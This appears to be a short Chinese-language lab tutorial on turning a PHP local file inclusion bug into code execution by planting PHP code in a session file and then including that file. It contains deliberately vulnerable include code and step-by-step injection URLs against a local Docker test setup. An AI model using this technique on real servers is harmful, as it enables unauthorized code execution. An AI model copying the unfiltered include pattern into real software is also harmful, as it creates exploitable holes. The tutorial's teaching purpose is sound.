PHP文件包含之sesion文件包含getshell
測試環境
PHP Version 5.3.3
Linux c9810faa45b0 5.10.47-linuxkit #1 SMP Sat Jul 3 21:51:47 UTC 2021 x86_64
條件一:獲取Session保存文件路徑
- php.ini文件獲取
- phpinfo頁面查看
條件二:存在文件包含漏洞
以下代碼為例
<?php
$page = isset($_GET['page'])?$_GET['page']:'';
include "$page";
show_source(__FILE__);
?>
條件三:Session可控
<?php
show_source(__FILE__);
session_start();
$page = isset($_GET['page'])?$_GET['page']:'';
$_SESSION["name"]=$page;
?>
后端可以看到對應的Session文件以* sess_ *為前綴;且內容為用戶輸入的內容。
[root@c9810faa45b0 session]# ls -alht
total 16K
-rw------- 1 apache apache 25 Sep 5 13:08 sess_c49jouqp95g6mtmvfq89608nob
drwxrwx--- 1 root apache 4.0K Sep 5 12:39 .
drwxr-xr-x 1 root root 4.0K Jun 14 2017 ..
[root@c9810faa45b0 session]# cat sess_c49jouqp95g6mtmvfq89608nob
name|s:12:"cnblogcnblog";[root@c9810faa45b0 session]#
可以使用文件包含讀取session文件:
getshell步驟
1.向session傳入惡意代碼
http://127.0.0.1:7003/test1.php?page=%3C?php%20phpinfo();?%3E
2. 獲取session文件路徑
Cookie: PHPSESSID=c49jouqp95g6mtmvfq89608nob
結合PHPinfo頁面中的Session路徑,即:
/var/lib/php/session/sess_c49jouqp95g6mtmvfq89608nob
3.getshell
訪問http://127.0.0.1:7003/lfi.php?page=/var/lib/php/session/sess_c49jouqp95g6mtmvfq89608nob
引用資料
- docker image:italoc/php53 4cc33ed054d3 614MB
- refer:
https://www.cnblogs.com/-qing-/p/11039954.html#_label1